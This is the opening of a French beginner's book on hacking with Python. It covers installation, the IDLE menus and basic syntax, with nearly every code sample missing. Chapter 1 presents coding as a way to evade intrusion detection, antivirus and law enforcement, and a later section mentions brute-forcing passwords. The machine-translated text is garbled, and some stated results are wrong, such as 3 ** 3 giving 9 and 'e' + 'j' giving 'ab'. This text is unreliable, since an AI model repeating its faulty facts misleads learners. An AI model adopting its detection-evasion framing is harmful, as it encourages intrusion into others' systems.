Vous êtes sur la page 1sur 107

Piratage avec Python

Le guide ultime du débutant


Introduction
Ce livre vous montrera comment utiliser Python, créer vos propres outils de piratage et tirer
le meilleur parti des ressources disponibles créées à l'aide de ce langage de programmation.

Si vous n'avez pas d'expérience en programmation, ne vous inquiétez pas, ce livre vous
guidera à travers la compréhension des concepts de base de la programmation et la
navigation dans les codes Python.

Ce livre vous servira également de guide pour comprendre les méthodologies de piratage
courantes et apprendre comment différents pirates les utilisent pour exploiter des vulnérabilités
ou améliorer la sécurité. Vous pourrez également créer vos propres scripts de piratage à l'aide
de Python, utiliser des modules et des bibliothèques disponibles à partir de sources tierces et
apprendre à modifier les scripts de piratage existants pour répondre à vos propres besoins
informatiques.

Merci et j'espère que cela vous plaira!


Ce document vise à fournir des informations exactes et fiables sur le sujet et la question
traités. La publication est vendue avec l'idée que l'éditeur n'est pas tenu de rendre des services
comptables, officiellement autorisés ou autrement qualifiés. Si un avis est nécessaire,
juridique ou professionnel, une personne expérimentée dans la profession doit être
commandée.

- D'une déclaration de principes qui a été acceptée et approuvée à parts égales par un comité
de l'American Bar Association et un comité d'éditeurs et d'associations.

En aucun cas légal de reproduire, dupliquer ou transmettre toute partie de ce document sous
forme électronique ou imprimée. L'enregistrement de cette publication est strictement interdit
et tout stockage de ce document n'est autorisé qu'avec l'autorisation écrite de l'éditeur. Tous
les droits sont réservés.

Les informations fournies dans le présent document sont déclarées véridiques et cohérentes, en
ce que toute responsabilité, en termes d'inattention ou autre, par tout usage ou abus de toute
politique, processus ou directive contenus dans est la responsabilité solitaire et absolue du
lecteur destinataire. En aucun cas, une responsabilité légale ou un blâme ne pourra être retenu
contre l'éditeur pour toute réparation, dommage ou perte pécuniaire résultant des informations
contenues dans ce document, directement ou indirectement.

Les auteurs respectifs possèdent tous les droits d'auteur non détenus par l'éditeur.

Les informations contenues dans le présent document sont uniquement offertes à titre informatif
et sont ainsi universelles. La présentation des informations est sans contrat ni aucun type
d'assurance de garantie.

Les marques qui sont utilisées sans aucun consentement, et la publication de la marque est sans
autorisation ni soutien du propriétaire de la marque. Toutes les marques déposées et marques
présentes dans ce livre sont uniquement à des fins de clarification et sont la propriété des
propriétaires eux-mêmes, non affiliés à ce document.
Table du contenu
Chapitre 1: Préparation au piratage
Chapitre 2: Principes de base de
Python
Chapitre 3: Ecrire des programmes
Python
Chapitre 5: Opérateurs et expressions
Chapitre 6: Fonctions et modules
Chapitre 7: Configuration pour le
piratage
Chapitre 8: piratage de réseau
Chapitre 9: Hacks pour le Web
Chapitre 10: Comprendre les attaques à l'aide
de Python

Chapitre 11: Autres astuces de hacking à


essayer

Conclusion
Bonus: Aperçu de 'Introduction à Python 3
Chapitre 1: Préparation au piratage

Tout hacker en herbe devrait apprendre à utiliser un langage de programmation afin de


découvrir et d'exploiter les faiblesses d'un ordinateur. Bien qu'il n'y ait rien de mal à utiliser
des ressources déjà disponibles, vous voudrez développer de meilleurs outils qui vous
permettront de mieux utiliser votre propre ordinateur. Parce que vous êtes le meilleur juge
lorsqu'il s'agit de comprendre vos propres besoins, vous êtes conscient que de nombreux
outils existants disponibles en ligne ou sur le marché ne disposent pas de certaines des
fonctionnalités dont vous pourriez avoir besoin pour que votre ordinateur fonctionne
exactement comme vous le souhaitez.
Le monde informatique change chaque jour, de nouveaux hacks sont développés à l'heure et vous
pouvez également vous attendre à ce que différents experts en sécurité les découvrent. Si vous
ne parvenez pas à utiliser d'anciens outils de piratage pour effectuer une reconnaissance ou
vous protéger d'une éventuelle attaque, vous risquez de rencontrer des problèmes. Par exemple,
le lancement d'un malware sur une machine ciblée qui a déjà amélioré son système de sécurité
entraînera non seulement l'échec de votre attaque et la probabilité que l'attaque vous soit
retracée est également élevée.
L’apprentissage d’un langage de programmation vous permettra également d'augmenter vos
chances de succès du piratage et de réduire la probabilité d'être détecté par les IDS (systèmes
de détection d'intrusion), les logiciels antivirus ou les outils utilisés par les forces de l'ordre. Si
vous apprenez à devenir un hacker White Hat en apprenant comment les hackers criminels
agissent et développent leurs propres outils d'exploitation et de manipulation du système, vous
pourrez certainement utiliser des codes de sécurité mis à jour pour lutter contre les nouveaux
programmes de piratage développés chaque jour. En étant capable de coder des programmes
lors de vos déplacements, vous serez également en mesure de détecter et de prévenir les
attaques dès qu'elles se produisent.
Etre capable de coder vos propres outils de piratage vous permettra également de contribuer à
la communauté des hackers qui partagent leurs ressources avec vous en découvrant un
meilleur moyen d'effectuer une attaque, de faire une contre-mesure contre un piratage illégal,
ou de mettre à jour des protocoles ou des capacités de sécurité d'un outil connu, vous serez en
mesure de faire votre part pour faire du monde informatique un endroit plus sûr.
Qu'est-ce que Python?

Python est considéré comme un langage open source, ce qui signifie que vous pouvez le
télécharger gratuitement sur le site Web de python.org. Ce langage de haut niveau existe depuis
la fin des années 80, mais a définitivement survécu à l'épreuve du temps - il est toujours utilisé
aujourd'hui pour créer des interfaces graphiques, des applications Web, des jeux et, plus
important encore, des exploits de piratage et une atténuation des intrusions.
Si vous migrez depuis un autre langage de programmation, vous pourrez facilement apprendre
Python grâce à sa lisibilité facile. La plupart des commandes utilisent des instructions
anglaises typiques qui vous permettront de comprendre immédiatement leur but même si c'est
la première fois que vous rencontrez cette langue. Les codes Python sont également beaucoup
plus courts et plus simples par rapport à d'autres langages de haut niveau tels que Java, et sont
livrés avec une bibliothèque et des fonctionnalités déjà intégrées, ainsi qu'un accès à des
modules et bibliothèques tiers. Ses bibliothèques intégrées robustes et la disponibilité de
ressources compilées par d'autres utilisateurs en font l'un des langages de programmation
préférés des pirates.
Voici un exemple: si vous souhaitez exécuter la commande d'impression classique, tapez
"Hello, World!" en utilisant Java, vous devrez taper ce qui suit:

Cependant, Python vous demandera simplement de saisir ce qui suit:

À ce stade, vous obtenez l'idée qu'un script de piratage complet sera beaucoup plus simple et
plus court en utilisant Python, par rapport à d'autres langages de haut niveau généralement
utilisés pour créer des programmes.
Si vous êtes un programmeur débutant, vous trouverez que Python est relativement facile à
apprendre, grâce à ses codes et sa syntaxe plus simples. Vous pourrez également exécuter vos
codes sur différents types d'appareils et de systèmes d'exploitation, tels qu'Android, Windows,
Linux et Mac OS X. Si vous souhaitez vous lancer directement dans le piratage, vous aurez
certainement un plaisir sans fin à découvrir ce que vous peut manipuler avec vos propres
programmes - Python vous permet non seulement d'exploiter et de manipuler des ordinateurs
portables, des smartphones et des ordinateurs de bureau, mais vous permet également
d'exécuter vos programmes sur des microcontrôleurs que l'on trouve dans les jouets, les
télécommandes, les appareils et pratiquement tout appareil compatible a un ordinateur dedans.
Commencer avec Python
Si vous utilisez une distribution Linux ou UNIX récente, vous avez probablement déjà
installé Python. Certains utilisateurs de Windows, en particulier les propriétaires
d'ordinateurs HP, peuvent également l'avoir installé sur leurs ordinateurs. Cependant, si vous
avez besoin d'une nouvelle installation du package, vous pouvez le télécharger à partir
dewww.python.org.
Normalement, vous voudrez obtenir la dernière version, qui est 3.5.2, mais vous voudrez
peut-être aussi obtenir la dernière version de Python 2, qui est 2.7.11, si elle est plus
compatible avec les projets de piratage que vous avez en tête. Bien que Python 3 puisse être
l'avenir de ce langage de programmation, certains facteurs tels que la compatibilité avec
votre ordinateur ou l'utilisation de services tiers peuvent vous amener à télécharger Python 2
à la place.

Installation sur Windows


Après avoir téléchargé le package d'installation à partir du site Web Linux, décompressez-le
et exécutez le fichier .exe pour poursuivre l'installation. Vous devriez pouvoir obtenir pip,
documentation et IDLE lorsque vous utilisez l'installation standard.
Remarque: Vérifiez que vous avez coché cette option:

Si vous souhaitez modifier l'emplacement de votre installation, cliquez simplement sur

puis, appuyez sur Suivant. Ensuite, utilisez le chemin c: \ python35 comme emplacement
d'installation. Si vous avez installé Python dans le bon chemin, accédez à:

Vous pouvez également exécuter Python à partir de l'invite de commande si vous avez
correctement défini la variable PATH lors de l'installation. Si vous exécutez Python pour la
première fois sous Windows, tapez cmd dans la boîte de dialogue (cliquez sur le bouton
Démarrer pour localiser cette commande). Une fois l'invite de commande affichée, saisissez
«python» pour lancer le programme.

Installation sous Mac OS X


Vous pouvez télécharger le programme d'installation à partir du site Web de Python ou vous
pouvez utiliser Homebrew pour obtenir le package d'installation. Si Homebrew n'est pas encore
installé, ouvrez un terminal (appuyez sur la touche Commande + barre d'espace pour lancer la
recherche Spotlight, puis saisissez Terminal) et entrez cette commande:
/ usr / bin / ruby -e "$ (curl -fsSL
https://raw.githubusercontent.com/Homebrew/install/master/install) "
Après Homebrew est installé, il vous demandera comment procéder avec l'installation.
Appuyez sur Entrée, puis fournissez votre mot de passe utilisateur pour continuer. Une fois
installé, vous pouvez maintenant utiliser la commande «brew» du terminal pour installer des
packages pour OS X.
Pour installer le package Python, ouvrez un nouveau terminal et entrez:
Installation sous Linux
Si ton le système d'exploitation est GNU / Linux, vous pouvez utiliser Ubuntu ou le
gestionnaire de distribution Debian pour installer Python. Pour ce faire, entrez simplement
cette commande:

Une fois que vous êtes en mesure d'installer le programme, exécutez-le en tapant «python» sur
le terminal.
Interagir avec le langage Python
Maintenant que vous avez installé Python, la prochaine chose que vous devez faire est
d'apprendre comment vous pouvez l'utiliser pour explorer des fonctionnalités ou pour tester
un code. Vous pouvez utiliser Python en utilisant le mode script si vous souhaitez voir
comment des fichiers ou des applications entières sont interprétés.
À interagissez en utilisant Python, vous pouvez utiliser l'IDLE (environnement de
développement intégré), qui ouvrira la fenêtre du Shell Python, ou la ligne de commande
dans Windows.

Interaction à l'aide de l'invite de commande


La commande Windows line (ou le Terminal sous Linux et Mac OS X) est le moyen le plus
simple et direct de commencer à utiliser Python. Avec cet outil, vous pourrez voir comment
Python fonctionne en fonction de sa réaction à chaque commande que vous entrez dans
l'invite >>>, également connue sous le nom d'invite d'interpréteur.
Prenez note que cela pourrait ne pas être le moyen préféré des pirates pour interagir avec ce
langage de programmation, mais cette méthode vous permettra d'explorer facilement les
fonctionnalités de Python.
À explorez le fonctionnement de Python, découvrez comment la commande d'impression peut
être utilisée pour afficher «Python est destiné au piratage».
Tirez la commande Python ligne.
Une fois que vous voyez l'invite
>>>, entrez:
print ("Python est destiné au piratage.")
Appuyez sur Entrée pour mettre fin à la commande. Juste après cela, Python affichera
le texte demandé sur la ligne suivante.
Que se passera-t-il si vous faites quelque chose de mal avec votre commande? Si vous avez
utilisé une syntaxe défectueuse, telle qu'une instruction incomplète ou une commande mal
orthographiée, vous obtiendrez une erreur d'affichage qui ressemble à ceci:

Comment quitter Python


Si vous souhaitez quitter l'invite Python, utilisez l'une de ces
commandes: Ctrl + Z, puis appuyez sur Entrée
Saisissez "quit ()"
Saisissez «exit ()»
Interagir à l'aide de l'IDLE
Quand vous utilisez un langage de programmation, tel que Python, vous devrez développer
votre code à l'aide d'un environnement de développement intégré ou IDE. Un IDE est une
application qui vous fournira tous les outils dont vous avez besoin pour développer un
logiciel. Habituellement, ces outils sont un éditeur de texte qui vous aidera à modifier le code
source sur lequel vous travaillez, un débogueur et un ensemble d'outils pour l'automatisation
de la construction que vous pouvez utiliser via une GUI (interface utilisateur graphique). Les
IDE vous permettront également d'utiliser l'intégration avec des bibliothèques de contrôle de
version que vous pouvez vous procurer auprès de tiers, ce qui signifie que vous pouvez
extraire des codes créés par d'autres, puis les mélanger et les faire correspondre avec votre
propre code pour obtenir les résultats que vous souhaitez. .
Vous pouvez obtenir votre IDE préféré d'une source tierce, comme des sites éducatifs pour les
langages de programmation, ou auprès des développeurs du langage eux-mêmes. Python.org,
par exemple, vous fournit un IDE gratuit que vous pouvez utiliser comme point de départ
pour le développement, si vous ne savez pas quel IDE fonctionnera le mieux avec votre style
de codage.
L'outil IDLE qui vient avec votre package d'installation sert de plate-forme sur laquelle vous
pouvez saisir efficacement vos codes et interagir avec Python. Vous pouvez facilement accéder
à IDLE en cliquant sur son icône sur votre bureau, dans le menu Démarrer ou en le localisant
dans le dossier d'installation.
IDLE vous permet d'utiliser ces fonctionnalités:
Le Python shell qui vous permet d'utiliser l'entrée et la sortie de code de couleur et
d'obtenir des messages d'erreur si vous entrez une mauvaise déclaration.
Un débogueur qui est livré avec une visualisation pas à pas, des espaces de noms
locaux et globaux et des points d'arrêt persistants
Navigateurs et configuration
Un éditeur de texte qui vous permet d'utiliser plusieurs fenêtres, de coloriser pour
Python, d'auto-complétion, d'annulation et d'autres fonctionnalités
Utiliser IDLE vous permettra d'utiliser deux fenêtres (le Shell et l'éditeur) que vous pouvez
utiliser simultanément. Vous pouvez également avoir des fenêtres de sortie qui ont un menu
contextuel et un titre différents.
Les menus que vous peut utiliser dans IDLE changera en fonction de la fenêtre que vous avez
sélectionnée. Les options qui appartiennent à chaque menu sont simples, ce qui signifie que
vous n'aurez pas de mal à comprendre ce que chacun d'eux fait même si vous êtes nouveau
dans la programmation.
Voici les menus et la fenêtre auxquels ils sont associés.
Fichier (pour les fenêtres Editeur et Shell)
Ce menu contient les options suivantes:
1. Nouveau
2. Ouvert
3. Fichiers récents
4. Module ouvert
5. Navigateur de classes
6. Chemin Navigateur
7. sauver
8. Enregistrer sous
9. Enregistrer la copie sous
10. Fenêtre d'impression
11. Fermer
12. Sortie
Edit (pour Editor et Shell)
Ce menu contient les options suivantes:
1. annuler
2. Refaire
3. Couper
4. Copie
5. Pâte
6. Tout sélectionner
7. Trouver
8. Trouve encore
9. Trouver Sélection
10. Rechercher dans les fichiers
11. Remplacer
12. Aller à Ligne
13. Afficher les complétions
14. Développer Word
15. Spectacle Astuce d'appel
16. Afficher les alentours
Format Parens (fenêtre
Editeur)
1. Région de retrait
2. Région Dedent
3. Commenter la région
4. Décommenter la région
5. Région de Tabify
6. Désactiver la région
7. Basculer les onglets
8. Nouvelle largeur de retrait
9. Format Paragraphe
10. Strip Trailing
Whitespace Run (fenêtre
Editeur)
1. Python coquille
2. Vérifier le module
3. Module d'exécution
Menu Shell (fenêtre Shell)
Afficher le dernier
redémarrage
Redémarrez
l'exécution
d'interruption du
shell

Déboguer (fenêtre Shell)


1. Aller à Fichier / Mensonge
2. Débogueur
3. Visionneuse de pile
4. Ouverture automatique Visionneuse de pile

Options (fenêtres Editeur et Shell)


1. Configurer IDLE
2. Contexte de code (disponible
uniquement dans l'éditeur) Windows
1. Aide sur la
hauteur du zoom
1. À propos de IDLE
2. TOURNER AU RALENTI Aidez-moi
3. Python Docs
4. Démo de tortue

Autres choses que vous pouvez utiliser


Vous pouvez écrire vos codes dans d'autres IDE ou éditeurs de texte autres que IDLE, selon vos
besoins. Il n'y a pas de véritable directive pour choisir où vous devez taper et enregistrer vos
codes - tant que l'éditeur que vous utilisez vous aide à coder confortablement et est livré avec
une coloration syntaxique qui vous aidera à visualiser votre code, alors vous serez en mesure
de réaliser vos objectifs de piratage et créez le code que vous souhaitez utiliser à l'avenir.
Voici d'autres éditeurs et leurs fonctionnalités que vous voudrez peut-être
consulter: PyCharm Educational Edition
Si vous voulez vous concentrer sur l'apprentissage de Python au lieu de vous concentrer
sur la façon dont vous devriez naviguer dans vos fenêtres, alors cet éditeur est fait pour
vous. Vous pouvez extraire les codes existants dans l'éditeur pour apprendre comment
certains programmes sont écrits ou apprendre à l'aide du didacticiel qui l'accompagne.
Vous pouvez télécharger cet éditeur gratuit sur
www.jetbrains.com. Texte sublime
Sublime Text vous permet d'utiliser un gestionnaire de paquets, qui fonctionne
essentiellement pour toute personne habituée à taper dans des traitements de texte. Il est
également livré avec des fonctionnalités telles que le pliage de code, qui masque les
lignes de codes sur lesquelles vous ne travaillez pas.
Prenez note que ce n'est pas un logiciel gratuit, mais il est livré avec une période d'essai
sans limite de temps.

VIGUEUR
Ce le logiciel gratuit vous permettra de faire beaucoup de personnalisation, ce qui est
excellent si vous êtes un programmeur expérimenté qui souhaite travailler avec des
paramètres avec lesquels vous êtes le plus à l'aise. Un autre facteur positif de ce
logiciel est qu'il a un historique d'utilisation étendu, ce qui signifie que vous avez une
communauté d'utilisateurs sur laquelle vous pouvez facilement toucher lorsque vous
avez besoin d'aide.
Si vous sont nouveaux dans la programmation, cela peut sembler être un éditeur de
texte intimidant à utiliser, mais la courbe d'apprentissage abrupte sera payante à la
fin. En apprenant à coder par piratage tout de suite, vous serez en mesure d'avoir une
bonne compréhension de Python en le faisant l'expérience en utilisant différents
outils qui ont déjà été créés par d'autres pirates.
Coda
Ce le logiciel est livré avec un essai gratuit pendant une semaine, puis coûtera 99 $ par
la suite. Coda
n'est pas un éditeur de texte dépourvu de cloches et de sifflets - il est livré avec des
fonctionnalités telles que la connectivité SSH, des contrôles de code pour se connecter
automatiquement à un hub et une interface de terminal. Si vous envisagez de
développer une application Web pour vos hacks, alors c'est probablement l'IDE qui
fonctionnera le mieux pour vous.

Maintenant que vous avez configuré votre environnement de développement, il est temps pour
vous de commencez à découvrir les concepts de base de Python.
Chapitre 2: Bases de Python
Votre L'objectif, bien sûr, est de faire en sorte que Python aille au-delà de l'impression d'un
texte. Pour ce faire, vous devrez apprendre d'autres concepts essentiels dans un script Python.
Vous voudrez également créer un script facile à comprendre et à réviser à l'avenir, dans tous
les cas, vous voulez l'améliorer et le transformer en un outil de travail pour vos hacks.
Dans Afin de prendre des entrées et de les manipuler afin d'obtenir certains résultats, vous
devrez d'abord apprendre comment les variables et les constantes fonctionnent dans ce langage
de programmation.
commentaires
Celles-ci sont des instructions qui viennent après le symbole #. Ces morceaux de textes
vous permettent de: Expliquer les problèmes que vous souhaitez surmonter ou
résoudre dans votre programme
Prendre note des hypothèses, détails et décisions importants que vous souhaitez
effectuer dans le code
Prendre des notes dans votre code ne vous rappelle pas seulement ce que vous voulez
accomplir dans votre code, mais aide également les lecteurs qui utiliseront votre programme
à comprendre ce que les lignes de code sont censées faire.
Constantes littérales
Constantes littérales sont nommés comme tels parce que vous prenez ces morceaux de texte
pour leur valeur littérale. Ces constantes peuvent être:
Nombres
Ils peut être des entiers (nombres entiers simples) ou des flottants (nombres avec des
points décimaux)
Celles-ci sont des séquences de caractères que vous pouvez spécifier à l'aide de
guillemets simples, doubles ou triples. Notez que les guillemets simples et
doubles fonctionnent de la même manière en Python et que vous pouvez les
exprimer librement entre guillemets triples. Voici un exemple:

Cordes sont également immuables, ce qui signifie que vous ne pouvez pas modifier une
chaîne une fois que vous l'avez créée.

Comment mettre en forme des chaînes


Là sont des instances dans lesquelles vous voudrez construire des chaînes à partir
d'une autre information. Pour ce faire, vous devrez utiliser la méthode. Prendreun
coup d'oeil à cet exemple:

Une fois que vous sont terminés, enregistrez ce morceau de code sous str_format.py.
Voici à quoi cela ressemblera lorsque vous exécuterez le programme:

La méthode de format vous permet d'utiliser une valeur d'argument pour remplacer une
spécification particulière. Jetez un œil à cet exemple:
Ce morceau de code vous donnera ce résultat:
Variables
Comme il y aura plusieurs instances dans lesquelles vous devrez stocker des informations
dans votre code puis les manipuler, vous aurez besoin de certaines variables. Tout comme ce
que le nom signifie, les variables ont des valeurs variables, telles que des nombres réels, des
chaînes, des booléens, des dictionnaires ou des listes, auxquelles vous pouvez accéder via
certaines méthodes. Jetez un œil à cet exemple de code:

Dans cet exemple, vous sont capables de définir la variable nommée port, qui va être utilisée
pour stocker l'entier 21, et la variable nommée banner, qui va contenir une chaîne. Afin de
combiner ces variables en une seule chaîne, vous devrez utiliser le port de variable via
l'utilisation de la fonction str ().
Étant donné que vous devez accéder rapidement aux données que vous avez stockées, vous
devez attribuer des noms aux variables. C'est là que les identifiants entrent en jeu. Les
identificateurs fonctionnent comme les noms de code que vous utilisez pour indiquer quelque
chose que vous avez utilisé dans votre code ou programme. Voici quelques règles que vous
devez suivre lors de leur attribution:
le le caractère initial doit être une lettre de l'alphabet ou un trait de
soulignement. Les caractères restants doivent être constitués de traits
de soulignement, de lettres ou de chiffres
Ils sont sensibles à la casse, ce qui signifie que mycode et myCode n'appellent pas la
même valeur et ne sont pas interchangeables lorsque vous les attribuez comme
identifiant.
Objets
Choses qui sont appelés des objets dans le code qui existe en Python. Si vous migrez vers
Python à partir d'un autre langage de programmation, vous devez noter que tout en Python, y
compris les chaînes, les nombres et les fonctions, est classé comme un objet.
Listes
Python vous permet d'utiliser d'une structure de données de liste qui est extrêmement utile
lorsqu'il s'agit de stocker des collections d'objets. En tant que programmeur, vous pouvez
créer des listes contenant différents types de données. Dans le même temps, vous pouvez
également utiliser plusieurs techniques intégrées dans Python qui vous permettront d'insérer,
d'indexer, de compter, de trier, d'ajouter, de supprimer, d'afficher et même d'inverser des
éléments dans une liste. Jetez un œil à cet exemple:

En utilisant le ci-dessus, vous avez pu créer une liste via la méthode append (), imprimer
tous les éléments spécifiés, puis réussir à trier les éléments avant de demander au
programme de les imprimer à nouveau. Vous avez également pu trouver l'index d'un
élément et supprimer des éléments particuliers.
Dictionnaires
Python la structure du dictionnaire vous permet d'utiliser une table de hachage qui peut être
utilisée pour stocker pratiquement n'importe quelle quantité d'objets. Le dictionnaire du
programme contient une paire d'éléments qui se compose d'une clé et de sa valeur
correspondante.
Les dictionnaires sont extrêmement utiles pour créer des scripts de piratage. Par exemple,
vous pouvez créer un analyseur conçu pour exploiter les vulnérabilités d'un système
particulier, comme les ports TCP ouverts. Si vous avez un dictionnaire qui affichera les noms
de service pour les ports correspondants que vous souhaitez exploiter. Par exemple, vous
pouvez créer un dictionnaire qui vous permettra de rechercher la clé ftp, puis vous fournir
une sortie de 21, qui correspond à un port que vous voudrez peut-être tester. Vous pouvez
également utiliser des dictionnaires pour effectuer des attaques par force brute afin de
déchiffrer un mot de passe chiffré. Ce qui rend Python encore meilleur, c'est que vous
pouvez coder vos propres dictionnaires et les utiliser dans d'autres scripts que vous voudrez
peut-être développer à l'avenir.
Quand vous créer un dictionnaire, les clés doivent être séparées de leur valeur correspondante
par deux-points et les éléments doivent être séparés par des virgules. Dans l'exemple suivant,
vous pourrez utiliser la méthode .keys () pour vous donner une liste de toutes les clés
disponibles dans le dictionnaire, et le
.items () qui va vous fournir tous les éléments que contient le dictionnaire. Jetez un œil à cet
exemple:

Maintenant que vous connaissez le concepts de base qui obligent les scripts Python à exécuter
des tâches, vous êtes maintenant prêt à les utiliser dans votre propre script. Dans le chapitre
suivant, vous apprendrez à quoi doit ressembler un script Python lisible.
Chapitre 3: Ecrire des programmes Python
Maintenant que tu sont conscients de certains concepts de base que vous devez maîtriser en
Python, il est temps d'apprendre quelques lignes directrices dont vous devez vous souvenir
lorsqu'il s'agit d'écrire un programme Python. Dans ce chapitre, vous apprendrez à utiliser
certains des concepts les plus basiques pour exécuter des commandes simples et formater vos
codes Python de manière à ce qu'il vous soit plus facile de les comprendre et de les documenter
plus tard.
Comment utiliser des constantes et des variables littérales

Ouvrez votre éditeur de texte et exécutez ce qui suit:

Votre sortie devrait ressembler à ceci:

Que s'est-il passé dans programme est que vous avez attribué une valeur littérale de 5 à la
variable i donnée via un opérateur d'affectation, qui est le signe =. Cette ligne entière est
considérée comme une déclaration car elle indique que quelque chose doit être fait, qui
consiste à connecter ladite variable à une valeur numérique. Ensuite, vous avez imprimé
la valeur de i en utilisant la commande d'impression.
Ensuite, vous avez ajouté 1 à la valeur donnée que vous avez stockée dans la variable i, puis
vous l'avez enregistrée. Lorsque vous utilisez à nouveau l'instruction d'impression, vous
obtenez la valeur 6.
En même temps, vous aussi a attribué une chaîne littérale à la variable s, puis a procédé à
l'utilisation de l'instruction d'impression.
Lignes physiques et logiques
Ce que vous voir quand vous tapez un programme s'appelle une ligne physique. Ce que Python
obtient lorsque vous tapez une instruction s'appelle la ligne logique. Cela dit, ce langage de
programmation suppose que chaque ligne physique que vous voyez correspond à une ligne
logique donnée.
Pendant que tu peut utiliser plus d'une ligne logique sur une ligne physique en utilisant le
symbole point-virgule (;), Python encourage les programmeurs comme vous à saisir une
seule instruction afin de rendre vos codes plus lisibles. De cette façon, vous pourrez voir les
lignes sur lesquelles vous travaillez et éviter toute confusion possible lorsque vous travaillez
sur deux lignes logiques différentes et vous perdre sur ce sur quoi vous êtes censé travailler.
Échancrure
Python en est un des langages de programmation là-bas où l'espace blanc, en particulier
l'espace au début de chaque ligne de code est important. En utilisant l'indentation, vous
pouvez regrouper des blocs ou des instructions qui vont ensemble. En règle générale,
assurez-vous que vous utilisez le même retrait lorsque vous travaillez sur des instructions
similaires. N'oubliez pas que l'utilisation d'une mauvaise indentation peut entraîner des
erreurs dans votre code. Jetez un œil à cet exemple:

Lorsque vous exécutez ce code, vous obtiendrez ce résultat:

Python vous recommande d'utiliser quatre espaces pour vos indentations. Les bons éditeurs de
texte typiques le feront pour vous. Tant que vous êtes cohérent avec les espaces que vous
utilisez, vous pourrez éviter des résultats inattendus dans votre code.
Maintenant que vous connaissez les bases, vous pouvez maintenant commencer à apprendre les
choses les plus intéressantes!
Chapitre 5: Opérateurs et expressions
Plus des instructions (également appelées lignes logiques) que vous allez écrire dans votre
code incluront des expressions. Les expressions sont divisées en opérandes et opérateurs.
Les opérateurs sont essentiellement des fonctions qui font quelque chose dans votre code, qui
sont représentées par des symboles ou des mots-clés. Ils ont généralement besoin d'éléments
d'information sur lesquels ils peuvent travailler, appelés opérandes. Par exemple, si vous avez
l'expression 4 + 5, le signe plus (+) est l'opérateur et les nombres 4 et 5 sont des opérandes.
Opérateurs Python
Regardez à quoi ressemblent les expressions dans une invite d'interprétation:

Quand vous évaluer les expressions dans une invite d'interprétation et vous avez utilisé la
bonne syntaxe, vous pourrez voir la résultat que vous attendez juste après la ligne logique.
Puisque vous produirez des codes pour vos propres outils de piratage, vous devrez mémoriser
la façon dont les opérateurs sont utilisés dans un code.
Notez également que Python utilise les opérateurs selon la priorité. Cela signifie que lorsque
vous demandez à votre code d'effectuer certaines opérations qui ont une priorité plus élevée.
Par exemple, Python effectuera toujours des opérations qui l'obligent à diviser ou multiplier les
variables par rapport aux opérations qui nécessitent qu'il soit ajouté ou soustrait. Si deux
opérateurs ont la même valeur de priorité, Python les évaluera de gauche à droite.
Voici une liste des opérateurs disponibles en Python.
Plus (+)
Ajoute deux
objets. Par
exemple:
4 + 5 vous donnera 9, et 'e' + 'j' vous donnera
'ab' Moins (-)
Soustrait un nombre d'un autre numéro. Dans le cas où le premier opérande de
l'équation est absent, Python suppose qu'il est égal à zéro.
Par exemple:
-87 vous donnera un nombre négatif et 80 - 40 vous donnera
40. Multipliez (8)
Se multiplie en nombres ou répète une chaîne un certain nombre de
fois. Par exemple:
2 * 5 vous donne 10, et 'ha' * 3 vous donnera le
pouvoir 'hahaha' (**)
Élève un certain nombre à la puissance de l'opérande
suivant. Par exemple:
3 ** 3 vous donnera 9 (cela est calculé comme 3 *
3 * 3) Diviser (/)
Divise le premier opérande par le suivant.
Par exemple:
4 / 2 donne 2
Diviser et plancher (//)
Divise le premier opérande par le suivant, puis arrondit le résultat au nombre le plus
proche.
Par exemple:
5 // 2 vous
donne 2 Modulo
(%)
Vous donne le reste d'une division
Par exemple:
13% 3 vous donnera
1 de moins que (<)
Indique si le premier opérande est inférieur au suivant. L'opérateur de comparaison dira
s'il est VRAI ou FAUX.
Par exemple:
3 <9 renvoie vous donne
TRUE Supérieur à (>)
Indique si le premier opérande est supérieur au suivant. L'opérateur dira également s'il
s'agit de TRUE ou FALSE.
Par exemple:
9> 3 vous donne TRUE
Inférieur ou égal à (<=)
Indique si le premier opérande est inférieur ou égal au suivant. Par exemple:
x = 6; y = 9; x <= y vous donne
TRUE Supérieur ou égal à (> =)
Vous donne un résultat indiquant si le premier opérande est supérieur ou égal au
suivant
Par exemple:
x = 6; y = 3; x> = y vous donne
VRAI égal à (==)
Vous indique si les opérandes
sont égaux. Par exemple:
x = 3; y = 3; x == y vous donne VRAI
Pas égal à (! =)
Vous indique si les opérandes ne
sont pas égaux Par exemple:
x = 3; y = 4; x! = y vous donne VRAI
Expressions
Les expressions sont des combinaisons d'opérateurs et de valeurs dans votre code. Vous pouvez
le considérer comme tout ce qui «exprime» quelque chose qui a une valeur. Par exemple, si
vous utilisez la fonction eval (1 + 1), vous obtiendrez un résultat qui vous fournira la valeur de
ces deux nombres additionnés.
Jetez un œil à cet exemple:

Enregistrez-le sous expression.py, puis exécutez-le à l'invite de l'interpréteur. Vous devriez


pouvoir obtenir cette sortie:

Comme vous l'avez peut-être remarqué, Python a stocké des valeurs dans les variables
«longueur» et «largeur», et vous êtes en mesure de calculer le périmètre et l'aire d'un rectangle
en utilisant ces expressions. Vous pouvez également stocker la valeur de l'expression length *
width dans une autre variable, nommée area, puis l'afficher à l'aide de la fonction d'impression.
Maintenant que tu êtes conscient de la façon dont vous pouvez utiliser les blocs de construction
d'un langage de programmation, vous pouvez maintenant savoir comment vous pouvez les
utiliser dans un code!
Chapitre 6: Fonctions et modules
L'écriture un code pour le piratage peut être fastidieux lorsque vous êtes limité à l'utilisation
d'opérations - imaginez simplement devoir écrire une opération, puis répétez-la encore et
encore tout au long de votre script pour que votre code fasse quelque chose. C'est une bonne
chose que Python vous permette d'utiliser des fonctions et des modules qui vous permettront de
répéter certaines actions dans votre code et dans d'autres scripts que vous construirez à l'avenir.
Dans ce chapitre, vous apprendrez à créer et utiliser des fonctions et des modules. Vous
apprendrez également à itérer les commandes que vous avez émises dans votre script afin de
répéter certaines actions pour différents éléments et à gérer les erreurs que vous pourriez
rencontrer dans votre script.
Les fonctions
En Python, une fonction vous permet de créer un bloc de code qui pourra faire une action. Ils
sont également réutilisables, ce qui signifie que vous pouvez fournir un nom à ce bloc
d'instructions, puis exécuter ce bloc en utilisant le nom que vous lui avez attribué n'importe
où dans le programme que vous créez sans aucune limite. En termes Python, cela s'appelle
«appeler la fonction».
Les fonctions sont probablement le composant le plus important d'un langage de
programmation. En Python, ils sont généralement définis à l'aide du mot-clé def, suivi d'un
nom d'identifiant pour la fonction que vous souhaitez utiliser. Jetez un œil à cet exemple:

Enregistrez-le sous function1.py, puis exécutez-le à l'invite de l'interpréteur. Vous devriez voir
